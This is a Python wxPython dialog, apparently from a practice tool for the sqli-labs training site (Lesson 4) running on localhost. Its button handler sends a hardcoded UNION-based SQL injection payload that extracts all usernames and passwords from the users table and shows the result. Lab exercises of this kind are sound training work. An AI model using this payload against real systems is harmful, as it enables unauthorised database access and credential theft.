import wx
import wx.xrc
import requests
import wx.html
import wx.html2


class Lesson4Page(wx.Dialog):

    def __init__(self, parent, title):
        wx.Dialog.__init__(self, parent, id=wx.ID_ANY, title=title, pos=wx.DefaultPosition,
                           size=wx.Size(574, 500), style=wx.DEFAULT_DIALOG_STYLE)

        self.address = "http://127.0.0.1:8888/Less-4"
        self.SetSizeHints(wx.DefaultSize, wx.DefaultSize)

        bSizer1 = wx.BoxSizer(wx.VERTICAL)

        bSizer2 = wx.BoxSizer(wx.HORIZONTAL)

        self.m_staticText3 = wx.StaticText(self, wx.ID_ANY, u"测试地址:", wx.Point(-1, -1), wx.DefaultSize, 0)
        self.m_staticText3.Wrap(-1)

        bSizer2.Add(self.m_staticText3, 0, wx.ALIGN_CENTER | wx.ALL, 5)

        self.m_textCtrl11 = wx.TextCtrl(self, wx.ID_ANY, self.address, wx.DefaultPosition, wx.DefaultSize,
                                        wx.TE_MULTILINE)
        self.m_textCtrl11.SetMinSize(wx.Size(500, 200))

        bSizer2.Add(self.m_textCtrl11, 0, wx.ALL, 5)

        bSizer1.Add(bSizer2, 0, wx.EXPAND, 0)

        # bSizer18 = wx.BoxSizer(wx.HORIZONTAL)
        # self.m_staticText6 = wx.StaticText(self, wx.ID_ANY, u"注入参数:", wx.DefaultPosition, wx.DefaultSize, 0)
        # self.m_staticText6.Wrap(-1)
        # bSizer18.Add(self.m_staticText6, 0, wx.ALIGN_CENTER | wx.ALL, 5)
        # self.m_textCtrl14 = wx.TextCtrl(self, wx.ID_ANY, wx.EmptyString, wx.DefaultPosition, wx.Size(-1, -1), 0)
        # self.m_textCtrl14.SetMinSize(wx.Size(500, -1))
        # bSizer18.Add(self.m_textCtrl14, 0, wx.ALIGN_CENTER | wx.ALL, 5)
        # self.m_staticText8 = wx.StaticText(self, wx.ID_ANY, u"MyLabel", wx.DefaultPosition, wx.DefaultSize, 0)
        # self.m_staticText8.Wrap(-1)
        #
        # bSizer18.Add(self.m_staticText8, wx.SHAPED | wx.ALL, 5)
        # bSizer1.Add(bSizer18, 0, wx.ALIGN_CENTER, 5)

        # bSizer19 = wx.BoxSizer(wx.VERTICAL)
        #
        # self.m_staticText7 = wx.StaticText(self, wx.ID_ANY, u"测试结果验证:", wx.DefaultPosition, wx.DefaultSize, 0)
        # self.m_staticText7.Wrap(-1)
        #
        # bSizer19.Add(self.m_staticText7, 0, wx.SHAPED | wx.ALL, 5)
        #
        # bSizer1.Add(bSizer19, 0, wx.EXPAND, 5)
        #
        bSizer191 = wx.BoxSizer(wx.VERTICAL)
        # 注入测试结果
        self.m_staticText14 = wx.StaticText(self, wx.ID_ANY,
                                            "",
                                            wx.DefaultPosition, wx.DefaultSize, 0)
        self.m_staticText14.Wrap(-1)

        bSizer191.Add(self.m_staticText14, 0, wx.ALIGN_RIGHT | wx.ALL, 5)

        bSizer1.Add(bSizer191, 0, wx.EXPAND, 5)

        # 按钮
        bSizer1911 = wx.BoxSizer(wx.VERTICAL)
        # 注入按钮
        self.m_button31 = wx.Button(self, wx.ID_ANY, u"注入测试", wx.DefaultPosition, wx.DefaultSize, 0)
        # 绑定事件
        self.m_button31.Bind(wx.EVT_BUTTON, self.clickHandler)
        bSizer1911.Add(self.m_button31, 0, wx.ALIGN_RIGHT | wx.ALL, 5)
        bSizer1.Add(bSizer1911, 0, wx.EXPAND, 5)

        # 富文本显示
        # 创建WebView控件
        self.webview = wx.html2.WebView.New(self)

        # 显示HTML格式的文本
        html_text = "http://127.0.0.1:8888/Less-4/"
        self.webview.LoadURL(html_text)
        # 将WebView控件添加到布局
        sizer = wx.BoxSizer(wx.VERTICAL)
        sizer.Add(self.webview, 1, wx.EXPAND)
        bSizer1.Add(sizer, 1, wx.EXPAND, 5)

        self.SetSizer(bSizer1)
        self.Layout()

        self.Centre(wx.BOTH)
        self.Show(True)

    def clickHandler(self, e):
        # 目标URL和参数
        url = 'http://127.0.0.1:8888/Less-4/'+'?id=1") and 1=2 union select 1,group_concat(username),group_concat(password) from users --+'

        # 发送GET请求
        response = requests.get(url)
        # 打印响应内容
        print(response.content)
        content = response.content.decode()
        self.webview.SetPage(content, "")

    pass

    def __del__(self):
        pass
